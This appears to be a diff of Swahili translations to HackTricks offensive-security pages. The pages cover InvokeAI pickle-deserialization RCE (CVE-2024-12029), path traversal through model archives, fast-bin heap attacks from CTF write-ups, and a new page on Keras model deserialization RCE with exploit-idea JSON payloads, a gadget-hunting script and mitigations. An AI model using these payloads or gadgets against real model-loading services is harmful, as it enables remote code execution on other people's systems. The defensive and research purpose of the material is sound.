Translated ['src/generic-methodologies-and-resources/python/README.md',

src/AI/AI-Models-RCE.md

@@ -33,7 +33,7 @@ Ndani, mwisho huu hatimaye unaita:
 ```python
 checkpoint = torch.load(path, map_location=torch.device("meta"))
 ```
-Wakati faili iliyopewa ni **PyTorch checkpoint (`*.ckpt`)**, `torch.load` inafanya **pickle deserialization**. Kwa sababu maudhui yanatoka moja kwa moja kwenye URL inayodhibitiwa na mtumiaji, mshambuliaji anaweza kuingiza kitu kibaya chenye njia ya `__reduce__` iliyobinafsishwa ndani ya checkpoint; njia hiyo inatekelezwa **wakati wa deserialization**, ikisababisha **remote code execution (RCE)** kwenye seva ya InvokeAI.
+Wakati faili iliyotolewa ni **PyTorch checkpoint (`*.ckpt`)**, `torch.load` inafanya **pickle deserialization**. Kwa sababu maudhui yanatoka moja kwa moja kwenye URL inayodhibitiwa na mtumiaji, mshambuliaji anaweza kuingiza kitu kibaya chenye njia ya `__reduce__` iliyobinafsishwa ndani ya checkpoint; njia hiyo inatekelezwa **wakati wa deserialization**, ikisababisha **remote code execution (RCE)** kwenye seva ya InvokeAI.
 
 Uthibitisho wa udhaifu ulipatiwa **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
 
@@ -67,7 +67,7 @@ json={},                                         # body can be empty
 timeout=5,
 )
 ```
-4. Wakati InvokeAI inapopakua faili inaita `torch.load()` → gadget ya `os.system` inakimbia na mshambuliaji anapata utekelezaji wa msimbo katika muktadha wa mchakato wa InvokeAI.
+4. Wakati InvokeAI inaposhusha faili inaita `torch.load()` → gadget ya `os.system` inakimbia na mshambuliaji anapata utekelezaji wa msimbo katika muktadha wa mchakato wa InvokeAI.
 
 Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` inafanya mchakato mzima kuwa wa kiotomatiki.
 
@@ -81,13 +81,13 @@ Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2
 
 * Pandisha hadi **InvokeAI ≥ 5.4.3** – patch inafanya `scan=True` kuwa ya kawaida na inafanya uchunguzi wa malware kabla ya deserialization.
 * Wakati wa kupakia checkpoints kwa njia ya programu tumia `torch.load(file, weights_only=True)` au [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) msaidizi mpya.
-* Lazimisha orodha za ruhusa / saini za vyanzo vya modeli na uendeshe huduma hiyo kwa ruhusa ndogo.
+* Lazimisha orodha za ruhusa / saini za vyanzo vya modeli na uendeshe huduma kwa kiwango cha chini cha ruhusa.
 
-> ⚠️ Kumbuka kwamba **aina yoyote** ya muundo wa Python pickle (ikiwemo faili nyingi za `.pt`, `.pkl`, `.ckpt`, `.pth`) kwa asili si salama kutekeleza deserialization kutoka vyanzo visivyoaminika.
+> ⚠️ Kumbuka kwamba **aina yoyote** ya muundo wa Python pickle (ikiwemo faili nyingi za `.pt`, `.pkl`, `.ckpt`, `.pth`) kwa asili si salama kutekeleza kutoka vyanzo visivyoaminika.
 
 ---
 
-Mfano wa mipango ya kuzuia ya ad-hoc ikiwa lazima uendelee kutumia toleo za zamani za InvokeAI nyuma ya proxy ya kurudi:
+Mfano wa mipango ya kuzuia ya ad-hoc ikiwa lazima uendelee kutumia toleo la zamani la InvokeAI nyuma ya proxy ya kurudi:
 ```nginx
 location /api/v2/models/install {
 deny all;                       # block direct Internet access
@@ -133,9 +133,9 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
 ```
 ## Models to Path Traversal
 
-Kama ilivyoelezwa katika [**hiki blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), muundo wa modeli nyingi zinazotumiwa na mifumo tofauti ya AI unategemea archives, mara nyingi `.zip`. Hivyo, inaweza kuwa inawezekana kutumia muundo huu kufanya mashambulizi ya path traversal, kuruhusu kusoma faili zisizo na mipaka kutoka kwenye mfumo ambapo modeli imepakuliwa.
+Kama ilivyoelezwa katika [**hiki blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), mifano mingi inayotumika na mifumo tofauti ya AI inategemea archives, mara nyingi `.zip`. Hivyo, inaweza kuwa inawezekana kutumia mifano hii kufanya mashambulizi ya path traversal, kuruhusu kusoma faili za kawaida kutoka kwenye mfumo ambapo mfano umewekwa.
 
-Kwa mfano, kwa kutumia msimbo ufuatao unaweza kuunda modeli ambayo itaunda faili katika saraka ya `/tmp` wakati inapo pakuliwa:
+Kwa mfano, kwa kutumia msimbo ufuatao unaweza kuunda mfano ambao utaunda faili katika saraka ya `/tmp` wakati unapo load:
 ```python
 import tarfile
 
@@ -161,7 +161,15 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
 tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
 tf.add(PAYLOAD)                      # rides the symlink
 ```
-## Marejeo
+### Deep-dive: Keras .keras deserialization and gadget hunting
+
+Kwa mwongozo wa kina kuhusu .keras ndani, Lambda-layer RCE, suala la kuagiza bila mpangilio katika ≤ 3.8, na ugunduzi wa gadget baada ya kurekebisha ndani ya orodha ya ruhusa, angalia:
+
+{{#ref}}
+../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
+{{#endref}}
+
+## References
 
 - [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
 - [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)

src/SUMMARY.md

@@ -69,6 +69,7 @@
   - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
     - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
   - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
+  - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
   - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
   - [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
   - [venv](generic-methodologies-and-resources/python/venv.md)

src/binary-exploitation/libc-heap/fast-bin-attack.md

@@ -10,7 +10,7 @@ Kwa maelezo zaidi kuhusu nini maana ya fast bin angalia ukurasa huu:
 bins-and-memory-allocations.md
 {{#endref}}
 
-Kwa sababu fast bin ni orodha iliyo na viungo moja, kuna ulinzi mdogo zaidi kuliko katika bins nyingine na tu **kubadilisha anwani katika chunk ya fast bin iliyofutwa** inatosha kuwa na uwezo wa **kuweka baadaye chunk katika anwani yoyote ya kumbukumbu**.
+Kwa sababu fast bin ni orodha iliyo na viungo vya moja kwa moja, kuna ulinzi mdogo zaidi kuliko katika bins nyingine na tu **kubadilisha anwani katika chunk ya fast bin iliyofutwa** inatosha kuwa na uwezo wa **kuweka chunk baadaye katika anwani yoyote ya kumbukumbu**.
 
 Kama muhtasari:
 ```c
@@ -125,12 +125,12 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
 - Inawezekana kugawa vipande, kuvisafisha, kusoma maudhui yake na kuviweka (kwa kutumia udhaifu wa overflow).
 - **Consolidate chunk for infoleak**: Mbinu hii ni kimsingi kutumia overflow kuunda `prev_size` bandia ili vipande vya awali viwe ndani ya kimoja kikubwa, hivyo wakati wa kugawa kimoja kikubwa kinachoshikilia kipande kingine, inawezekana kuchapisha data yake na kuvuja anwani kwa libc (`main_arena+88`).
-- **Overwrite malloc hook**: Kwa hili, na kutumia hali ya awali ya overlapping, ilikuwa inawezekana kuwa na vipande 2 vilivyokuwa vinarejelea kumbukumbu ile ile. Hivyo, kuvisafisha vyote (kuvisafisha kipande kingine katikati ili kuepuka ulinzi) ilikuwa inawezekana kuwa na kipande kilekile katika fast bin mara 2. Kisha, ilikuwa inawezekana kukigawa tena, kubadilisha anwani ya kipande kinachofuata ili kiwe na kidogo kabla ya `__malloc_hook` (hivyo kinarejelea nambari ambayo malloc inadhani ni ukubwa wa bure - njia nyingine ya kupita), kukigawa tena na kisha kugawa kipande kingine ambacho kitapokea anwani kwa malloc hooks.\
+- **Overwrite malloc hook**: Kwa hili, na kutumia hali ya awali ya overlapping, ilikuwa inawezekana kuwa na vipande 2 vilivyokuwa vinashikilia kumbukumbu ile ile. Hivyo, kuvisafisha vyote (kusafisha kipande kingine katikati ili kuepuka ulinzi) ilikuwa inawezekana kuwa na kipande kile kile katika fast bin mara 2. Kisha, ilikuwa inawezekana kukigawa tena, kubadilisha anwani ya kipande kinachofuata ili kiashirie kidogo kabla ya `__malloc_hook` (hivyo kiashirie kwa nambari ambayo malloc inadhani ni ukubwa wa bure - bypass nyingine), kukigawa tena na kisha kugawa kipande kingine ambacho kitapokea anwani kwa malloc hooks.\
 Hatimaye **one gadget** iliandikwa humo.
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
-- Kuna overflow ya heap na matumizi baada ya kusafishwa na double free kwa sababu wakati kipande kinapaswa kusafishwa inawezekana kutumia tena na kusafisha tena viashiria
-- **Libc info leak**: Safisha tu baadhi ya vipande na vitapata kiashiria kwa sehemu ya eneo kuu. Kwa kuwa unaweza kutumia tena viashiria vilivyofutwa, soma tu anwani hii.
-- **Fast bin attack**: Viashiria vyote vya kugawa vinahifadhiwa ndani ya array, hivyo tunaweza kusafisha couple ya vipande vya fast bin na katika ya mwisho kubadilisha anwani ili iashirie kidogo kabla ya array hii ya viashiria. Kisha, gawiwa couple ya vipande vya ukubwa sawa na tutapata kwanza ile halali na kisha ile bandia inayoshikilia array ya viashiria. Sasa tunaweza kubadilisha viashiria vya kugawa ili kufanya anwani ya GOT ya `free` iashirie `system` na kisha kuandika `"/bin/sh"` katika kipande 1 ili kisha kuita `free(chunk1)` ambayo badala yake itatekeleza `system("/bin/sh")`.
+- Kuna overflow ya heap na matumizi baada ya kusafisha na kusafisha mara mbili kwa sababu wakati kipande kinapaswa kusafishwa inawezekana kutumia tena na kusafisha tena viashiria
+- **Libc info leak**: Safisha baadhi ya vipande na vitapata kiashiria kwa sehemu ya eneo la main arena. Kwa kuwa unaweza kutumia tena viashiria vilivyosafishwa, soma tu anwani hii.
+- **Fast bin attack**: Viashiria vyote vya kugawa vinahifadhiwa ndani ya array, hivyo tunaweza kusafisha vipande kadhaa vya fast bin na katika ile ya mwisho kubadilisha anwani ili kiashirie kidogo kabla ya array hii ya viashiria. Kisha, gawiwa vipande kadhaa vya ukubwa sawa na tutapata kwanza ile halali na kisha ile bandia inayoshikilia array ya viashiria. Sasa tunaweza kubadilisha viashiria vya kugawa ili kufanya anwani ya GOT ya `free` iashirie kwa `system` na kisha kuandika `"/bin/sh"` katika kipande 1 ili kisha kuita `free(chunk1)` ambayo badala yake itatekeleza `system("/bin/sh")`.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
 - Mfano mwingine wa kutumia overflow ya byte moja ili kuunganisha vipande katika unsorted bin na kupata libc infoleak na kisha kufanya mashambulizi ya fast bin ili kubadilisha malloc hook na anwani ya one gadget
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
@@ -140,4 +140,4 @@ Hatimaye **one gadget** iliandikwa humo.
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
 - Tunaweza tu kugawa vipande vya ukubwa mkubwa zaidi ya `0x100`.
 - Badilisha `global_max_fast` kwa kutumia mashambulizi ya Unsorted Bin (inafanya kazi 1/16 kwa sababu ya ASLR, kwa sababu tunahitaji kubadilisha bits 12, lakini lazima tubadilishe bits 16).
-- Mashambulizi ya Fast Bin kubadilisha array ya kimataifa ya vipande. Hii inatoa primitive ya kusoma/kandika isiyo na mipaka, ambayo inaruhusu kubadilisha GOT na kuweka baadhi ya kazi kuashiria `system`.
+- Mashambulizi ya Fast Bin kubadilisha array ya kimataifa ya vipande. Hii inatoa primitive ya kusoma/kandika isiyo na mipaka, ambayo inaruhusu kubadilisha GOT na kuweka baadhi ya kazi kuashiria kwa `system`.

src/generic-methodologies-and-resources/python/README.md

@@ -2,12 +2,14 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 **Kurasa za kuvutia kuangalia:**
 
 - [**Hacks za Pyscript**](pyscript.md)
 - [**Deserialization za Python**](../../pentesting-web/deserialization/README.md)
+- [**Deserialization ya Keras model RCE na uwindaji wa gadget**](keras-model-deserialization-rce-and-gadget-hunting.md)
 - [**Hacks za kupita sandboxes za python**](bypass-python-sandboxes/README.md)
-- [**Sintaksia za maombi ya wavuti ya msingi ya python**](web-requests.md)
+- [**Sintaksia ya msingi ya maombi ya wavuti ya python**](web-requests.md)
 - [**Sintaksia na maktaba za msingi za python**](basic-python.md)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md

@@ -0,0 +1,207 @@
+# Keras Model Deserialization RCE and Gadget Hunting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Ukurasa huu unatoa muhtasari wa mbinu za vitendo za unyakuzi dhidi ya pipeline ya deserialization ya modeli ya Keras, unaelezea ndani ya muundo wa .keras na uso wa shambulio, na unatoa zana za utafiti za kutafuta Uthibitisho wa Faili za Modeli (MFVs) na vifaa vya baada ya kurekebisha.
+
+## .keras model format internals
+
+Faili ya .keras ni archive ya ZIP inayojumuisha angalau:
+- metadata.json – taarifa za jumla (mfano, toleo la Keras)
+- config.json – muundo wa modeli (uso wa shambulio wa msingi)
+- model.weights.h5 – uzito katika HDF5
+
+config.json inaendesha deserialization ya kurudi: Keras inaagiza moduli, inatatua madarasa/funzo na inajenga tena tabaka/vitu kutoka kwa kamusi zinazodhibitiwa na mshambuliaji.
+
+Mfano wa kipande kwa kitu cha tabaka la Dense:
+```json
+{
+"module": "keras.layers",
+"class_name": "Dense",
+"config": {
+"units": 64,
+"activation": {
+"module": "keras.activations",
+"class_name": "relu"
+},
+"kernel_initializer": {
+"module": "keras.initializers",
+"class_name": "GlorotUniform"
+}
+}
+}
+```
+Deserialization inatekeleza:
+- Kuagiza moduli na kutatua alama kutoka kwa funguo za moduli/class_name
+- from_config(...) au mwito wa mjenzi na kwargs zinazodhibitiwa na mshambuliaji
+- Kurudi kwenye vitu vilivyo ndani (activations, initializers, constraints, nk.)
+
+Kihistoria, hii ilifunua primitives tatu kwa mshambuliaji anayekunda config.json:
+- Udhibiti wa moduli zipi zinazoagizwa
+- Udhibiti wa ni madarasa/mifunction gani zinazoamuliwa
+- Udhibiti wa kwargs zinazopitishwa kwenye wajenzi/from_config
+
+## CVE-2024-3660 – Lambda-layer bytecode RCE
+
+Sababu ya msingi:
+- Lambda.from_config() ilitumia python_utils.func_load(...) ambayo inafanya base64-decode na kuita marshal.loads() kwenye bytes za mshambuliaji; Python unmarshalling inaweza kutekeleza msimbo.
+
+Wazo la kutumia (payload iliyo rahisishwa katika config.json):
+```json
+{
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "exploit_lambda",
+"function": {
+"function_type": "lambda",
+"bytecode_b64": "<attacker_base64_marshal_payload>"
+}
+}
+}
+```
+Mitigation:
+- Keras inatekeleza safe_mode=True kama chaguo la default. Mifano ya Python iliyohifadhiwa katika Lambda inazuia isipokuwa mtumiaji aondoe wazi kwa safe_mode=False.
+
+Notes:
+- Mifumo ya zamani (hifadhi za HDF5 za zamani) au misimbo ya zamani inaweza isitekeleze ukaguzi wa kisasa, hivyo mashambulizi ya “downgrade” yanaweza bado kutumika wakati waathirika wanatumia loaders za zamani.
+
+## CVE-2025-1550 – Uagizaji wa moduli zisizo na mipaka katika Keras ≤ 3.8
+
+Root cause:
+- _retrieve_class_or_fn ilitumia importlib.import_module() isiyo na mipaka na nyuzi za moduli zinazodhibitiwa na mshambuliaji kutoka config.json.
+- Impact: Uagizaji wa kiholela wa moduli yoyote iliyosakinishwa (au moduli iliyopandikizwa na mshambuliaji kwenye sys.path). Msimbo wa wakati wa uagizaji unakimbia, kisha ujenzi wa kitu unafanyika na kwargs za mshambuliaji.
+
+Exploit idea:
+```json
+{
+"module": "maliciouspkg",
+"class_name": "Danger",
+"config": {"arg": "val"}
+}
+```
+Security improvements (Keras ≥ 3.9):
+- Module allowlist: imports restricted to official ecosystem modules: keras, keras_hub, keras_cv, keras_nlp
+- Safe mode default: safe_mode=True blocks unsafe Lambda serialized-function loading
+- Basic type checking: deserialized objects must match expected types
+
+## Post-fix gadget surface inside allowlist
+
+Hata na allowlisting na safe mode, uso mpana unabaki kati ya Keras callables zinazoruhusiwa. Kwa mfano, keras.utils.get_file inaweza kupakua URLs zisizo na mipaka kwenye maeneo yanayoweza kuchaguliwa na mtumiaji.
+
+Gadget kupitia Lambda inayorejelea kazi inayoruhusiwa (siyo serialized Python bytecode):
+```json
+{
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "dl",
+"function": {"module": "keras.utils", "class_name": "get_file"},
+"arguments": {
+"fname": "artifact.bin",
+"origin": "https://example.com/artifact.bin",
+"cache_dir": "/tmp/keras-cache"
+}
+}
+}
+```
+Important limitation:
+- Lambda.call() inajumuisha tensor ya ingizo kama hoja ya kwanza ya nafasi wakati inaita callable lengwa. Gadgets zilizochaguliwa zinapaswa kuvumilia hoja ya ziada ya nafasi (au kukubali *args/**kwargs). Hii inakandamiza kazi zipi zinaweza kutumika.
+
+Potential impacts of allowlisted gadgets:
+- Kupakua/kandika bila mipaka (kupanda njia, kuharibu usanidi)
+- Mkurugenzi wa mtandao/madhara kama ya SSRF kulingana na mazingira
+- Kuunganisha kwa utekelezaji wa msimbo ikiwa njia zilizokandikwa zitaagizwa/kuendeshwa baadaye au kuongezwa kwenye PYTHONPATH, au ikiwa kuna mahali pa kuandika ambapo utekelezaji unafanyika
+
+## Researcher toolkit
+
+1) Ugunduzi wa gadget wa kimfumo katika moduli zilizoruhusiwa
+
+Taja callables za wagombea katika keras, keras_nlp, keras_cv, keras_hub na uweke kipaumbele kwa wale wenye madhara ya faili/mtandao/mchakato/mazingira.
+```python
+import importlib, inspect, pkgutil
+
+ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
+
+seen = set()
+
+def iter_modules(mod):
+if not hasattr(mod, "__path__"):
+return
+for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
+yield m.name
+
+candidates = []
+for root in ALLOWLIST:
+try:
+r = importlib.import_module(root)
+except Exception:
+continue
+for name in iter_modules(r):
+if name in seen:
+continue
+seen.add(name)
+try:
+m = importlib.import_module(name)
+except Exception:
+continue
+for n, obj in inspect.getmembers(m):
+if inspect.isfunction(obj) or inspect.isclass(obj):
+sig = None
+try:
+sig = str(inspect.signature(obj))
+except Exception:
+pass
+doc = (inspect.getdoc(obj) or "").lower()
+text = f"{name}.{n} {sig} :: {doc}"
+# Heuristics: look for I/O or network-ish hints
+if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
+candidates.append(text)
+
+print("\n".join(sorted(candidates)[:200]))
+```
+2) Upimaji wa moja kwa moja wa deserialization (hakuna archive ya .keras inahitajika)
+
+Ingiza dicts zilizoundwa moja kwa moja kwenye deserializers za Keras ili kujifunza vigezo vinavyokubalika na kuangalia athari za upande.
+```python
+from keras import layers
+
+cfg = {
+"module": "keras.layers",
+"class_name": "Lambda",
+"config": {
+"name": "probe",
+"function": {"module": "keras.utils", "class_name": "get_file"},
+"arguments": {"fname": "x", "origin": "https://example.com/x"}
+}
+}
+
+layer = layers.deserialize(cfg, safe_mode=True)  # Observe behavior
+```
+3) Uchunguzi wa toleo tofauti na muundo
+
+Keras ipo katika misingi tofauti ya kanuni/mizani na muundo tofauti:
+- Keras iliyo ndani ya TensorFlow: tensorflow/python/keras (urithi, inatarajiwa kufutwa)
+- tf-keras: inatunzwa tofauti
+- Keras 3 ya Multi-backend (rasmi): ilianzisha .keras asilia
+
+Rudia majaribio kati ya misingi ya kanuni na muundo (.keras dhidi ya urithi HDF5) ili kugundua kurudi nyuma au ulinzi unaokosekana.
+
+## Mapendekezo ya kujihami
+
+- Chukulia faili za modeli kama ingizo lisiloaminika. Pakua tu modeli kutoka vyanzo vinavyoaminika.
+- Hifadhi Keras kuwa wa kisasa; tumia Keras ≥ 3.9 ili kufaidika na orodha za ruhusa na ukaguzi wa aina.
+- Usisete safe_mode=False unapopakua modeli isipokuwa unamwamini kabisa faili hiyo.
+- Fikiria kuendesha deserialization katika mazingira yaliyofungwa, yenye mamlaka madogo bila kutoka mtandao na kwa ufikiaji wa mfumo wa faili ulio na mipaka.
+- Lazimisha orodha za ruhusa/saini kwa vyanzo vya modeli na ukaguzi wa uaminifu inapowezekana.
+
+## Marejeleo
+
+- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
+- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751)
+- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660)
+- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
+- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
+- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
+
+{{#include ../../banners/hacktricks-training.md}}